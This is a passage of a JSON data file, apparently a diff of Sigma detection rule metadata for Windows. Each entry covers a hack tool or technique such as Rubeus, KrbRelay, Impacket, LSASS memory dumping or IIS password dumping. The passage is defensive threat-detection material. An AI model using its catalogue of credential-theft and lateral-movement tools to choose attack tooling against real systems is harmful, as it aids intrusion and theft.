"critical", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command line parameters used by Koadic hack tool", - "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", - "value": "Koadic Execution", - "meta": { - "refs": [ - "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", - "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", - "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2020/01/12", - "filename": "proc_creation_win_hack_koadic.yml", - "author": "wagga, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of KrbRelay, a Kerberos relaying tool", - "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", - "value": "KrbRelay Hack Tool", - "meta": { - "refs": [ - "https://github.com/cube0x0/KrbRelay", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2022/04/27", - "filename": "proc_creation_win_hack_krbrelay.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", - "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", - "value": "KrbRelayUp Hack Tool", - "meta": { - "refs": [ - "https://github.com/Dec0ne/KrbRelayUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003", - "attack.lateral_movement", - "attack.t1550.003" - ], - "creation_date": "2022/04/26", - "filename": "proc_creation_win_hack_krbrelayup.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", - "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", - "value": "Rubeus Hack Tool", - "meta": { - "refs": [ - "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", - "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", - "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1558.003", - "attack.lateral_movement", - "attack.t1550.003" - ], - "creation_date": "2018/12/19", - "filename": "proc_creation_win_hack_rubeus.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", - "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", - "value": "SafetyKatz Hack Tool", - "meta": { - "refs": [ - "https://github.com/GhostPack/SafetyKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/10/20", - "filename": "proc_creation_win_hack_safetykatz.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of SecurityXploded Tools", - "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", - "value": "SecurityXploded Tool", - "meta": { - "refs": [ - "https://securityxploded.com/", - "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555" - ], - "creation_date": "2018/12/19", - "filename": "proc_creation_win_hack_secutyxploded.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", - "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", - "value": "SharPersist Usage", - "meta": { - "refs": [ - "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", - "https://github.com/mandiant/SharPersist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_win_hack_sharpersist.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", - "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", - "value": "SharpLdapWhoami", - "meta": { - "refs": [ - "https://github.com/bugch3ck/SharpLdapWhoami", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ], - "creation_date": "2022/08/29", - "filename": "proc_creation_win_hack_sharpldapwhoami.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Programs that use the same command line flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Windows Credential Editor (WCE)", - "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", - "value": "Windows Credential Editor", - "meta": { - "refs": [ - "https://www.ampliasecurity.com/research/windows-credentials-editor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0005" - ], - "creation_date": "2019/12/31", - "filename": "proc_creation_win_hack_wce.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Another service that uses a single -s command line switch" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", - "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", - "value": "HandleKatz LSASS Dumper Usage", - "meta": { - "refs": [ - "https://github.com/codewhitesec/HandleKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/08/18", - "filename": "proc_creation_win_handlekatz.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", - "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", - "value": "Password Cracking with Hashcat", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", - "https://hashcat.net/wiki/doku.php?id=hashcat", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.002" - ], - "creation_date": "2021/12/27", - "filename": "proc_creation_win_hashcat.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Tools that accidentally use the same command line flags and values" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", - "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", - "value": "File Download with Headless Browser", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1478234484881436672?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/01/04", - "filename": "proc_creation_win_headless_browser_file_download.yml", - "author": "Sreeman, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies usage of hh.exe executing recently modified .chm files.", - "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", - "value": "HH.exe Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", - "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_hh_chm.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", - "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", - "value": "HH.exe Remote CHM File Execution", - "meta": { - "refs": [ - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ], - "creation_date": "2022/09/29", - "filename": "proc_creation_win_hh_chm_http.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", - "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", - "value": "Writing Of Malicious Files To The Fonts Folder", - "meta": { - "refs": [ - "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" - ], - "tags": [ - "attack.t1211", - "attack.t1059", - "attack.defense_evasion", - "attack.persistence" - ], - "creation_date": "2020/04/21", - "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", - "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", - "value": "High Integrity Sdclt Process", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", - "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2020/05/02", - "filename": "proc_creation_win_high_integrity_sdclt.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", - "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", - "value": "CreateMiniDump Hacktool", - "meta": { - "refs": [ - "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2019/12/22", - "filename": "proc_creation_win_hktl_createminidump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", - "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", - "value": "UAC Bypass Tool UACMe Akagi", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", - "author": "Christian Burkard, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", - "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", - "value": "HTML Help Shell Spawn", - "meta": { - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001", - "attack.t1218.010", - "attack.t1218.011", - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.005", - "attack.t1059.007", - "attack.t1047", - "attack.t1566", - "attack.t1566.001", - "attack.initial_access", - "attack.t1218" - ], - "creation_date": "2020/04/01", - "filename": "proc_creation_win_html_help_spawn.yml", - "author": "Maxim Pavlunin", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", - "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", - "value": "Suspicious HWP Sub Processes", - "meta": { - "refs": [ - "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", - "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", - "https://twitter.com/cyberwar_15/status/1187287262054076416", - "https://blog.alyac.co.kr/1901", - "https://en.wikipedia.org/wiki/Hangul_(word_processor)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001", - "attack.execution", - "attack.t1203", - "attack.t1059.003", - "attack.g0032" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_hwp_exploits.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", - "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", - "value": "Use Icacls to Hide File to Everyone", - "meta": { - "refs": [ - "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/07/18", - "filename": "proc_creation_win_icacls_deny.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", - "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", - "value": "Microsoft IIS Connection Strings Decryption", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/09/28", - "filename": "proc_creation_win_iis_connection_strings_decryption.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", - "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", - "value": "Disable Windows IIS HTTP Logging", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ], - "creation_date": "2022/01/09", - "filename": "proc_creation_win_iis_http_logging.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", - "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", - "value": "Microsoft IIS Service Account Password Dumped", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/09/28", - "filename": "proc_creation_win_iis_service_account_password_dumped.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", - "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", - "value": "ImagingDevices Unusual Parent Or Child Processes", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", - "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", - "value": "Impacket Tool Execution", - "meta": { - "refs": [ - "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" - ], - "tags": [ - "attack.execution", - "attack.t1557.001" - ], - "creation_date": "2021/07/24", - "filename": "proc_creation_win_impacket_compiled_tools.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of the impacket tools" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", - "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", - "value": "Impacket Lateralization Detection", - "meta": { - "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.003" - ], - "creation_date": "2019/09/03", - "filename": "proc_creation_win_impacket_lateralization.yml", - "author": "Ecco, oscd.community, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", - "value": "Root Certificate Installed From Susp Locations", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_import_cert_susp_locations.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", - "uuid": "fa47597e-90e9-41cd-ab72-c3b74cfb0d02", - "value": "Indirect Command Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md", - "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_indirect_cmd.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "low", - "falsepositive": [ - "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", - "Legitimate usage of scripts." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of native Windows tool, forfiles to execute a file. Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", - "uuid": "a85cf4e3-56ee-4e79-adeb-789f8fb209a8", - "value": "Indirect Command Exectuion via Forfiles", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/10/17", - "filename": "proc_creation_win_indirect_command_execution_forfiles.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", - "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", - "value": "InfDefaultInstall.exe .inf Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", - "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/13", - "filename": "proc_creation_win_infdefaultinstall.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects encoded base64 MZ header in the commandline", - "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", - "value": "Base64 MZ Header In CommandLine", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/12", - "filename": "proc_creation_win_inline_base64_mz_header.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of WinAPI Functions via the commandline as seen used by threat actors via the tool winapiexec", - "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", - "value": "Accessing WinAPI Via CommandLine", - "meta": { - "refs": [ - "https://twitter.com/m417z/status/1566674631788007425", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ], - "creation_date": "2022/09/06", - "filename": "proc_creation_win_inline_win_api_access.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", - "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", - "value": "Suspicious Debugger Registration Cmdline", - "meta": { - "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.008" - ], - "creation_date": "2019/09/06", - "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", - "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", - "value": "Interactive AT Job", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", - "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1053.002" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_interactive_at.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "high", - "falsepositive": [ - "Unlikely (at.exe deprecated as of Windows 8)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_invoke_obfuscation_clip.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code 